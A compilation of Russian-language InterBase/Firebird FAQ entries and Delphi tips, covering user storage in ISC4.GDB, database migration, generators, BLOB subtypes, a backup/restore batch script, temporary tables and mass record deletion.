БД ISC4.GDB используется IB для хранения информации о пользователях (имена, пароли и т.п.). Удалять этот файл нельзя. Вы можете создать alias на эту БД и посмотреть ее содержимое, и даже программно добавлять пользователей или изменять их пароли, воспользовавшись соответствующими UDF в разделе www.ibase.ru/d_udf.htm.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Пропажа прав пользователей в Local IB после переноса

Я создал БД с правами пользователей в Local IB. После переноса этой БД на IB for NT все пользователи куда-то "пропали". В чем дело ?

Причина в том, что информация о пользователях IB хранится в специальном файле ISC4.GDB, и является общей для всех БД на конкретном компьютере. Очевидно что в вашем случае на сервере IB for NT отсутствовали пользователи, заведенные вами для Local IB. Вам придется создать всех ваших пользователей и для IB for NT (при помощи Server Manager). То же самое будет и при переносе базы данных между серверами IB. Т.е. на обоих серверах пользователи должны быть созданы отдельно.

Если версии IB и платформы на обоих серверах совпадают, то ISC4.GDB можно просто скопировать. Разумеется, при отсутствии подсоединений. (еще лучше вообще выключить сервер БД на время копирования isc4.gdb).

Перенести isc4.gdb между платформами можно следующим способом: сделать backup isc4.gdb, восстановить на нужном сервере эту БД в другое имя (например isc4_new.gdb), остановить сервер IB, удалить старую isc4.gdb и переименовать isc4_new.gdb.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Как переносить базы данных между разными IB?

Как переносить базы данных между разными IB ? Например между Local IB и IB for Linux?

Для переноса нужно использовать операцию backup/restore, т.к. формат хранения данных для разных платформ разный. Переносить БД без backup/restore можно только в том случае, если у IB-источника и IB-приемника совпадает версия ODS - OnDisk Structure. Версию ODS можно увидеть в Server Manager после подсоединения к БД и вызову пункта меню Tasks/Database Statistics (Database Header, ODS version). Как правило, даже у одной и той же версии IB, но для разных операционных систем версия ODS разная.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Почему IB работает неустойчиво на NetWare 4.x?

Для NetWare 4.x нужно использовать IB 4.2.2. Предыдущие версии IB for Netware сертифицированы только для NetWare 3.11/3.12.
Для NetWare 5.x выпущена версия IB 5.6. Также нужно знать, что ни Interbase 6 ни Firebird не выпускаются и не будут выпускаться для Netware.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Включение WAL на NetWare ухудшает производительность на 80% при вставках записей, и только на 15% - при обновлениях.

Файл WAL должен быть расположен на другом винчестере чем основная БД. (это-же относится и к теневой БД). В этом случае ухудшения производительности не будет. Кроме этого вы должны учитывать, что запись в WAL происходит синхронно с БД, поэтому сравнивать "производительность" WAL с асинхронными изменениями в БД некорректно.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Каков максимальный размер базы данных IB?

Borland и независимые эксперты сообщают, что IB может обслуживать файлы БД размером в ~10-20 гигабайт. Существует также ограничение на размер одного файла БД, которое в основном зависит от ограничений используемой файловой системы, и составляет от 2 до 4 гигабайт. В любом случае не стоит допускать увеличения размера одного файла БД выше 2 гигабайт (создайте один или более вторичных файлов заранее). Многофайловая БД может состоять из 65535 файлов, таким образом теоретический предел для одной базы данных IB - 132 терабайта. Известны реально используемые базы данных в 180 гигабайт и 980 гигабайт, не содержащие blob-полей.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Сколько БД я могу открыть в одной транзакции?

Не существует архитектурнго ограничения на такую возможность. Пользователи сообщают о работе одновременно с 17-ю БД.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


В каких версиях IB поддерживаются уведомления о событиях (Event Alerts)?

Во всех, кроме локального IB для Windows 3.1. Это очень сильно урезанная версия IB, даже по сравнению с Local IB 4.1 for Windows95.
Устойчивая работа Event Alerters зависит как от используемого компонента (см. www.ibase.ru/download.htm), так и от сервиспаков, установленных на NT Server или Workstation. Например, уведомление о событиях работает, если
установлен SP3 и postsp3 hotfix TEARDROP2,
либо установлен SP4 (большой, т.е. ~70мегабайт).

EventAlerters могут работать неустойчиво, если для SP3 не установлен teardrop2, либо вообще не работать, если установлен SP4 размером ~32 мегабайта (из-за версии tcpip.sys). Если клиентами являются NT Workstation, настоятельно рекомендуется на клиентах установить тот же SP и постфиксы, что и для сервера.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Как получить текущее время?

InterBase supports four DATE literals. They are: 'today', 'yesterday', 'tomorrow' and 'now'
Use it with a cast as shown in the example below.

insert into mytable values(cast('now' as DATE), 'Test')
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как получить список таблиц?

A list of user tables can be retrieved by querying system table rdb$relations.

The example below shows how to do this - it inserts the table names sorted alphabetically into a ListBox (lbSourceTables).

begin
  ibcSourceList.SQL.Clear;
  ibcSourceList.SQL.Add('select rdb$relation_name from rdb$relations');
  ibcSourceList.SQL.Add('where rdb$system_flag = 0');
  ibcSourceList.SQL.Add('order by rdb$relation_name');
  ibcSourceList.Open;
  while not ibcSourceList.Eof do
  begin
    lbSourceTables.Items.Add(ibcSourceList.Fields[0].AsString);
    ibcSourceList.Next;
  end;
  ibcSourceList.Close;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как восстановить целостность автоинкрементного поля?

Problem/Question/Abstract:

Recently I got unique key violations during insert attempts on a piece of code that used to work (what can go bad, will go bad). I found that the offending field - was actually created by a generator. For some reason the generator returned values that where already in the database.

· how can I display the current value of the generator?
· how can I adjust the value of the generator?

Answer:

See the example (table name is SD_LOAD, generator name is GEN_SD_LOAD).

Note:

You cannot modify the value of the generator inside of a trigger or stored procedure. You only can call the gen_id() function to increment the value in a generator. The SET GENERATOR command will only work outside of a stored procedure or trigger.

SELECT DISTINCT(GEN_ID(gen_sd_load, 0))FROM sd_load

set GENERATOR gen_sd_load to 2021819
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Ошибка: lock manager out of room

Go to the interbase/bin directory (Windows) or /usr/interbase (Unix) and locate the configuration file isc_config. By default your configuration file will look like this:

#V4_LOCK_MEM_SIZE 98304
#ANY_LOCK_MEM_SIZE 98304
#V4_LOCK_SEM_COUNT 32
#ANY_LOCK_SEM_COUNT 32
#V4_LOCK_SIGNAL 16
#ANY_LOCK_SIGNAL 16
#V4_EVENT_MEM_SIZE 32768
#ANY_EVENT_MEM_SIZE 32768

I increased the V4_LOCK_MEM_SIZE entry from 98304 to 198304 and things were fine then.

!!! Important !!!

By default all lines in the config file are commented out with the leading # sign. Make sure to remove the # sign in any line that you change - the default config file just shows the default parameters.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Ошибка о файле SAA.AAA

The 'SAA.AAA' file is a temporary file used in processing a query.

A failure involving this file generally means that InterBase has run out of disk space processing the query.

(Remember that this will be a temporary file on the server, so the server is out of disk space, not your local machine!)
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

Этот файл является временным, и создается когда при выполнении запроса возникает необходимость в сортировке результата. Ошибка может возникать при нехватке дискового пространства на томе, куда указывает TEMP. Для NT при работе IB в режиме сервиса необходимо изменить переменную TEMP для System (см. My Computer/Properties/Environment). Для IB 5.x и 6.0 (в архитектуре SuperServer только!) можно указать диски и размер временных файлов в файле конфигурации IBCONFIG, или в переменной окружения INTERBASE_TMP (см. Operations Guide, стр92). Например:

TMP_DIRECTORY "c:\" 10000000
TMP_DIRECTORY "e:\temp\" 100000000

Может быть указано несколько дисков или каталогов, которые будут использоваться последовательно. Размер должен быть указан в байтах. Кавычки для имени диска и каталога обязательны.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Как гарантированно сделать backup?

Как гарантированно сделать backup/restore БД InterBase с опцией 'Replace existing database' и записями протоколов в файлы с гарантированным отстрелом пользователей?

Att.bat:
at 01:00 /INTERACTIVE "e:\IB_DATA\BR.BAT"
BR.bat:
del e:\IB_DATA\b.txt
del e:\IB_DATA\r.txt
del e:\ib_data\AR_IB.PRV
del e:\IB_DATA\AR_IB.GBK
d:\ib_42\bin\gfix -shut -force 1 e:\ib_data\AR_IB.GDB -user "SYSDBA" -password "oooo"
net stop "InterBase Server"
copy e:\ib_data\AR_IB.GDB e:\ib_data\AR_IB.PRV
net start "InterBase Server"
d:\ib_42\bin\gbak e:\ib_data\AR_IB.GDB e:\ib_data\AR_IB.GBK -user "SYSDBA" -password "oooo" -B -L -Y "e:\IB_DATA\b.txt"
d:\ib_42\bin\gbak e:\ib_data\AR_IB.GBK e:\ib_data\AR_IB.GDB -user "SYSDBA" -password "oooo" -P 4096 -V -R -Y "e:\IB_DATA\r.txt"
Sergey Klochkovski

Взято с http://delphiworld.narod.ru


Проблемы с автоинкрементальными полями

Оказывается, что Interbase триггер "before insert" срабатывает только после того, как запись "запостится" из Delphi приложения. В связи с чем становится невозможным увеличение автоинкрементальных ключевых полей. Есть решение?

Большинство программистов решило эту проблему созданием хранимой процедуры (stored procedure), позволяющей от InterBase получить следующий номер и поместить его в вашу запись посредством метода onBeforePost или onNewRecord.

Автор: Steve Koterski (Borland)

Я пытаюсь сгенерировать последовательный ключ для первичной ключевой колонки, но LIBS мне отвечает "nested select is not support in this context." (вложенный выбор не поддерживается в данном контексте.)

Как насчет:

  CREATE TRIGGER AUTOINCREMENT FOR MYTABLE
  BEFORE INSERT AS
  DECLARE VARIABLE new_key INTEGER;
  BEGIN
    UPDATE AUTOKEYS
      SET KEY_VALUE = KEY_VALUE + 1
      WHERE (KEY_ID = "A");
    SELECT KEY_VALUE
      FROM AUTOKEYS
      WHERE KEY_ID = "A"
      INTO :new_key;
    new.my_key_column = new_key;
  END ^

Автор: Mike Downey

Я пытаюсь добавить запись в таблицу InterBase, содержащую триггеры и blob-поля, тем не менее, всякий раз при выполнении метода "post" после установки ("append") значений, я получаю ошибку: 'Record/Key deleted.' (запись/ключ удален).

Вот реальный пример того, как я обошел эту проблему:

Определение хранимой процедуры:

  Create Procedure NewEmployeeKey Returns ( EmployeeKey Integer ) as
  begin
    EmployeeKey = Gen_Id( gnEmployeeKey, 1 ) ;
  end

Определение триггера:

  Create Trigger SetEmployeeKey for tbEmployee Active Before Insert Position 0 as
  begin
    if ( New.EmployeeKey is Null ) then begin
      Execute Procedure NewEmployeeKey Returning_Values New.EmployeeKey ;
    end
  end

Код Delphi для использования в обработчике события OnNewRecord, или AfterInsert, или BeforePost:

{ qyProviderData - это tQuery }
{ spProviderKey - это tStoredProc }

if qyProviderData.State in [dsInsert] then
begin
  spProviderKey.ExecProc ;
  qyProviderData.FieldByName( 'ProviderKey' ).AsInteger :=
  spProviderKey.ParamByName( 'ProviderKey' ).AsInteger ;
end ; { if }

Это все, что вам необходимо. Хранимая процедура возвращает следующее сгенерированное значение. Триггер это гарантирует, даже если бы данные не были доступны из вашей Delphi-программы, первичный ключ все еще назначает значение. В Delphi-коде, я полагаю, вы могли бы проверять наличие пустого поля первичного ключа вместо .State in [dsInsert], хотя это то же работает.

Взято с http://delphiworld.narod.ru


Изображения и InterBase Blob-поля

dBASE и Paradox таблицы имеют в своем арсенале BLOB-поля, позволяющие хранить бинарные данные, в том числе bitmap-формат, отображаемый с помощью компонента TDBImage. В Database Desktop данный тип полей указан как Binary и Graphic (для dBASE и Paradox таблиц, соответственно). Тем не менее, процесс сохранения изображений в InterBase BLOB-полях и их использование в компонентах TDBImage не такой уж простой.

Таблицы InterBase не имеют простого типа BLOB-поля. Есть три варианта, или подтипа: тип 0, тип 1 и подтип, определенный пользователем. Типы 0 и 1 - "встроенные" типы. Тип 0 - BLOB-поля (тип по умолчанию) для хранения общих бинарных данных. Тип 1 - BLOB-поля для хранения текстовых BLOB-данных. Ни один из предопределенных типов не допускает автоматического извлечения данных изображения из BLOB-поля для его последующего отображения в компоненте TDBImage. BLOB-поля типа 0 могут использоваться для хранения данных bitmap-формата, но данные должны извлекаться и передаваться в объект типа TBitmap программным путем. Вот пример ручного извлечения данных изображения, хранящихся в BLOB-поле типа 0 (Table1BLOBField), и его показ в компоненте TImage (не предназначенным для работы с БД) :

procedure TForm1.ExtractBtnClick(Sender: TObject);
begin
  Image1.Picture.Bitmap.Assign(Table1BLOBField);
end;

Естественно, поскольку это должно делаться вручную, данный процесс менее желателен в приложении, нежели автоматическое отображение данных изображения в комбинации BDE и компонента TDBImage. Здесь происходит определение подтипа определенного пользователем BLOB-поля. При работе с данными подтип BLOB-поля учитывается, т.к. сохраненные первыми данные устанавливают тип данных для этого поля для всей таблицы целиком. Таким образом, если данные bitmap-формата оказывается первым загружаемым типом, то данный формат будет единственно возможным для данного поля. До сих пор по умолчанию тип бинарного BLOB-поля (предопределенный тип 0) позволял BDE читать и отображать данные в компоненте TDBImage без особых проблем.

Утилиты Database Desktop допускают создание бинарных BLOB-полей только типа 0 и не имеют возможности самим определять подтипы BLOB-полей. Из-за такого ограничения таблицы, подразумевающие хранение и вывод изображений, должны создаваться с помощью SQL-запросов. Обычно это делается посредством утилиты WISQL, но вполне достаточно выполнение SQL-запроса с помощью компонента TQuery. Ниже приведен SQL-запрос, создающий таблицу с определенным пользователем подтипом BLOB-поля:

CREATE TABLE WITHBMP
(
  FILENAME CHAR(12),
  BITMAP   BLOB SUB_TYPE -1
)

После создания таблицы с совместимыми BLOB-полями, для хранения данных изображения в BLOB-поле и его вывода в компоненте TDBImage используются те же самые методы, что и при работе с таблицами dBASE и Paradox.

Имеется множество способов загрузки изображений в BLOB-поле. Три самых простых метода включают в себя:

копирование данных из буфера обмена Windows в компонент TDBImage, связанный с BLOB-полем
использование метода LoadFromFile компонента TBLOBField
использование метода Assign для копирования объекта типа TBitmap в значение свойства Picture компонента TBDBImage.
Первый способ, когда происходит копирование изображения из буфера обмена, вероятно, наиболее удобен в случае, когда необходимо добавить изображение в таблицу при использовании приложения конечным пользователем. В этом случае компонент TDBImage используется в роли интерфейса между BLOB-полем таблицы и изображением, хранящимся в буфере обмена. Метод PasteFromClipboard компонента TDBImage как раз и занимается тем, что копирует изображение из буфера обмена в TDBImage. При сохранении записи изображение записывается в BLOB-поле таблицы.
Поскольку буфер обмена Windows может содержать данные различных форматов, то желательно перед вызовом метода CopyFromClipboard осуществлять проверку формата хранящихся в нем данных. Для этого необходимо создать объект TClipboard и использовать его метод HasFormat, позволяющий определить формат хранящихся в буфере данных. Имейте в виду, что для создания объекта TClipboard вам необходимо добавить модуль Clipbrd в секцию uses того модуля, в котором будет создаваться экземпляр объекта.

Вот исходный код примера, копирующий содержание буфера обмена в компонент TDBImage, если содержащиеся в буфере данные имеют формат изображения:

procedure TForm1.Button1Click(Sender: TObject);
var
  C: TClipboard;
begin
  C := TClipboard.Create;
  try
    if Clipboard.HasFormat(CF_BITMAP) then
      DBImage1.PasteFromClipboard
    else
      ShowMessage('Буфер обмена не содержит изображения!');
  finally
    C.Free;
  end;
end;

Второй способ заполнения BLOB-поля заключается в загрузке изображения непосредственно из файла в BLOB-поле. Данный способ одинаково хорош как при создании приложения (формирование данных), так и при его использовании.

Этот способ использует метод LoadFromFile компонента TBLOBField, который применяется в Delphi для работы с dBASE-таблицами и двоичными Windows полями или таблицами Paradox и графическими Windows полями; в обоих случаях с помощью данного метода возможно загрузить изображение и сохранить его в таблице.

Методу LoadFromFile компонента TBLOBField необходим единственный параметр типа String: имя загружаемого файла с изображением. Значение данного параметра может быть получено при выборе файла пользователем с помощью компонента TOpenDialog и его свойства FileName.

Вот пример, демонстрирующий работу метода LoadFromFile компонента TBLOBField с именем Table1Bitmap (поле с именем Bitmap связано с таблицей TTable, имеющей имя Table1):

procedure TForm1.Button2Clicck(Sender: TObject);
begin
  Table1Bitmap.LoadFromFile(
    'c:\delphi\images\splash\16color\construc.bmp');
end;

Третий способ для копирования содержимого объекта типа TBitmap в свойство Picture компонента TDBImage использует метод Assign. Объект типа TBitmap может быть как свойством Bitmap свойства-объекта Picture компонента TImage, так и отдельного объекта TBitmap. Как и в методе, копирующем данные из буфера обмена в компонент TDBImage, данные изображения компонента TDBImage сохраняются в BLOB-поле после успешного сохранения записи.

Ниже приведен пример, использующий метод Assign. В нашем случае используется отдельный объект TBitmap. Для помещения изображения в компонент TBitmap был вызван его метод LoadFromFile.

procedure TForm1.Button3Click(Sender: TObject);
var
  B: TBitmap;
begin
  B := TBitmap.Create;
  try
    B.LoadFromFile('c:\delphi\images\splashh\16color\athena.bmp');
    DBImage1.Picture.Assign(B);
  finally
    B.Free;
  end;
end;

Взято с http://delphiworld.narod.ru


Есть-ли способ восстановить несохраненные (uncommitted) изменения БД, например в случае отключения питания?

Нет. Такие изменения будут потеряны. Т.е. БД останется в состоянии, соответствующем последней подтвержденной (committed) транзакции. Несохраненные данные в БД останутся в виде "осиротевших" страниц, которые можно очистить при помощи Server Manager, пункт меню Validate Database, или в виде "мусорных" версий записей, которые будут автоматически очищены при очередном чтении данных.

Вполне возможно, что этот вопрос вызван тем, что восстановление состояния БД в IB отличается от других широкораспространенных SQL-серверов (Oracle, Informix, ...). IB не требует выполнения каких-то специфических действий для продолжения работы с БД в случае сбоя питания - изменения, происходящие до COMMIT, не записываются на место актуальных данных (т.е. отсутствует режим Dirty Read), поэтому они будут просто потеряны, а БД останется в рабочем состоянии.

примечание: считается что транзакция - логический блок действий, переводящий БД из одного целостного состояния в другое. Поэтому даже если сервер позволяет восстановить uncommitted изменения, то делать этого не стоит.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Можно-ли создать индекс по полю view?

Нет. Индекс должен быть у поля таблицы, входящей во view. View является видом на таблицу или несколько таблиц, поэтому не может иметь физического индекса как у обычной таблицы.

Если вы хотите использовать индексы в компоненте TTable, то делать это нужно не через свойство IndexName, а указывая поле, по которому вы хотите отсортировать таблицу или view, непосредственно в свойстве IndexFieldNames. SQL-сервер сам разберется, есть-ли по такому полю индекс, и сможет-ли он использовать его для ускорения обработки запросов.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Как скопировать данные между БД?

Такая возможность присуствует в IB 4.0, 4.1 (утилита QLI) однако отсутствует в IB 4.2 и 5.x. В простейшем случае можно обойтись утилитами DATAPUMP или Database Desktop. Также большое количество подобных утилит есть на www.ibase.ru/download.htm. В конце-концов, можно достаточно быстро самому написать программу копирования данных.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Мне нужны временные таблицы, но их нет в IB. Что делать?

IB не расчитан на частое изменение метаданных, поэтому создание таблицы на ходу и ее удаление не является хорошим приемом. Вместо временной таблицы вы можете создать постоянную таблицу для тех-же целей с первым полем равным USER (и входящим в первичный ключ). В этом случае даже если несколько пользователей начнут добавлять записи в такую таблицу, конфликта между ними не будет. Вместо USER можно использовать генератор (generator), который будет действовать на все время работы пользователя. Тогда если ваше приложение не использует регистрацию IB, и все USER одинаковы, генераторы предотвратят конфликт между пользователями.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


В чем разница между CHAR и VARCHAR ? Что лучше использовать?

Разработчики утверждают, что разницы практически нет - особенности VARCHAR в том, что используется дополнительно два байта для хранения длины, а CHAR игнорирует пробелы в конце хранимой строки.

Если вы собираетесь хранить строки длиной не более 40-50 символов, то лучше использовать CHAR. Более подробно см. статью.

При передаче по сети в текущих версиях IB VARCHAR передается так-же как и CHAR (т.е. неэффективно). Исправлено в IB 5.0.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Как выполнить create procedure/trigger при помощи TQuery?

Для этого у TQuery нужно установить property ParamCheck:=False. При этом текст запроса не будет проверяться на наличие параметров, которые предваряются двоеточием (:). Никаких других изменений не требуется.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Ошибка при установке Internal error near IBcheck

Эта ошибка вызвана порчей ключа registry инсталлятором Delphi 4. Исправить ее можно, запустив RegEdit и проверив ключ HK_CURRENT_USER/Environment. Значение PATH должно быть строкового типа. Если это не так, то PATH надо поменять (или пересоздать) на строковое значение.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Interbase BLOB-поля

BLOB-поля отличаются от полей другого типа. Реально BLOB-поле имеет несколько подтипов (sub-type). Знание подтипа BLOB-поля существенно при создании приложения для работы с базами данных, которые включают в себя InterBase BLOB-поля. BLOB-поля могут быть трех подтипов: подтип 0, подтип 1 (два встроенных подтипа), и пользовательский подтип.

Подтип 0 BLOB-поля создается при выполнении команды CREATE, когда подтип не определен. Для ясности, в синтаксисе SQL все же рекомендуется явно указывать, что BLOB-поле относится к подтипу 0. Данный подтип BLOB-поля используется для хранения бинарных данных. InterBase не производит никакого анализа хранимых данных, он просто хранит данные в BLOB-поле байт-за-байтом. Наиболее частое применение BLOB-полей в приложениях Windows - хранение двоичных данных изображения, обычно отображаемое впоследствие компонентом TDBImage. Для этой цели подходит или BLOB-поле подтипа 0, или BLOB-поле пользовательского подтипа.

Второй встроенный подтип - 1. Данный подтип BLOB-поля разрабатывался для хранения текста. Обычно это данные свободного формата типа memo или заметок, отображаемых и редактируемых компонентом TDBMemo. Данный подтип BLOB-поля лучше подходит для хранения данных типа текст, чем поле, имеющее тип VARCHAR, поскольку, в отличие от поля типа VARCHAR, в режиме проектирования возможно задание ограничения по используемой областью памяти.

С помощью SQL-синтаксиса, подтип 1 BLOB-поля создается с указанием типа BLOB-поля, использованием ключевого слова SUB_TYPE и числа, указывающего на номер необходимого подтипа:

  CREATE TABLE WITHBLOB
  (
    ID CHAR(3) NOT NULL PRIMARY KEY,
    MEMO BLOB SUB_TYPE 1,
    AMOUNT NUMERIC
  )

Помимо двух встроенных подтипов BLOB-поля, существует также подтип, определяемый пользователем. Такой подтип задается отрицательным целым значением совместно с ключевым словом SUB_TYPE. Фактически учитывается только "отрицательность" целого числа, его значение может быть произвольным и остается на усмотрение того, кто создает таблицу. Указание числа -1 идентично указанию числа -2. Единственная рекомендация для использования подтипа, определяемого пользователем - гарантия того, что в каждой строке таблицы BLOB-поле будет иметь только данный подтип, определяемый пользователем. InterBase не имеет критерия для оценки хранимого подтипа, поэтому вся ответственность по определению подходящего типа двоичных данных ложится на приложение. Никакой ошибки со стороны InterBase при загрузке неверного типа двоичных данных в пользовательский подтип BLOB-поля быть не может, но приложение может столкнуться с трудностями, если оно ожидает один тип данных, но ей передают другой.
BLOB-поле пользовательского подтипа может создаваться следующим синтаксисом SQL:

  CREATE TABLE IMAGE_DATA
  (
    FILENAME CHAR(12) NOT NULL PRIMARY KEY,
    BITMAP BLOB SUB_TYPE -1,
    EXEs BLOB SUB_TYPE -2,
  )
При пользовании таблицей, созданной с помощью приведенной выше команды, поле BITMAP может использоваться для хранения одного типа двоичных данных для всех записей. В нашем случае хранятся данные изображения. Поле EXEs подразумевает хранение выполнимых файлов, загружаемых с диска. Если приложение, использующее данную таблицу, по ошибке сохранит двоичные данные в поле BITMAP вместо EXEs, InterBase ошибки не выдаст, но приложение при этом столкнется с серьезными трудностями при отображении в компоненте TDBImage сохраненного выполнимого файла.
InterBase BLOB-поля и Delphi

При определении объектов TField для InterBase BLOB-полей в Delphi, следует относить различные подтипы BLOB-поля к производным типам TField следующим образом:

  Подтип 0:         TBlobField
  Подтип 1:         TMemoField
  Пользовательский: TBlobField

Поскольку, как встроенный подтип 0, так и пользовательский подтип, относятся к объектам TBlobField, то забота об определении используемого подтипа во время проектирования приложения ложится на программиста. Единственный способ отличить подтип 0 от пользовательского подтипа заключается в просмотре информации о метаданных таблицы, что не может быть сделано с помощью Delphi. Для просмотра метаданных таблицы может быть использована утилита Local InterBase Server под названием WISQL.
InterBase BLOB-поля и Database Desktop

Утилита Database Desktop, поставляемая с Delphi (DBD), не создает пользовательские подтипы. При создании в Database Desktop BLOB-полей для хранения бинарных данных, включая данные изображения, используйте тип поля "BLOB". Этим вы создадите BLOB-поле встроенного подтипа 0.

В DBD также возможно создание BLOB-поля типа TEXT BLOB. Это эквивалент встроенного подтипа 1 и может использоваться для хранения текста свободного формата. Так как он только функционален встроенному подтипу 1 BLOB-поля, то при просмотре таблицы утилитой WISQL, обозначение его подтипа может отличаться от действительного.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Удаление большого количества записей

Судя по письмам в конференции fido7.su.dbms.interbase, существует определенный процент (около 15) задач, которые требуют периодического удаления большого количества записей. Это либо просто чистка устаревшей информации, либо перенос части данных в архив, но почти всегда - выполнение операции DELETE FROM... над количеством записей от десятков и сотен тысяч до нескольких миллионов.

При отсутствии знаний по архитектуре InterBase такая операция действительно становится проблемой. Если DELETE проходит относительно быстро, то последующие операции выборки могут "встать" на длительный период времени (возможно часы или даже десятки часов), во время которого InterBase будет интенсивно обращаться к базе данных.

Для начала нужно разобраться, что же происходит при операции DELETE. А происходит вот что - в силу архитектуры многоверсионности записей удаление записей не приводит к их действительному удалению. Просто рядом с версией записи пишется ее новая версия, но без значений полей, а с индикатором удаления. При этом, понятно, занимаемое таблицей дисковое пространство (количество страниц) может увеличиться, хотя на первый взгляд это кажется парадоксальным. (подробнее о сборке мусора и многоверсионности см. список статей внизу).

Далее, в силу уже правил сборки мусора, записи будут реально удалены (удалены предыдущие версии и delete-stub) только при попытке чтения этих записей. Пока никто к ним не обратился - устаревшие записи с диска вычищены не будут.
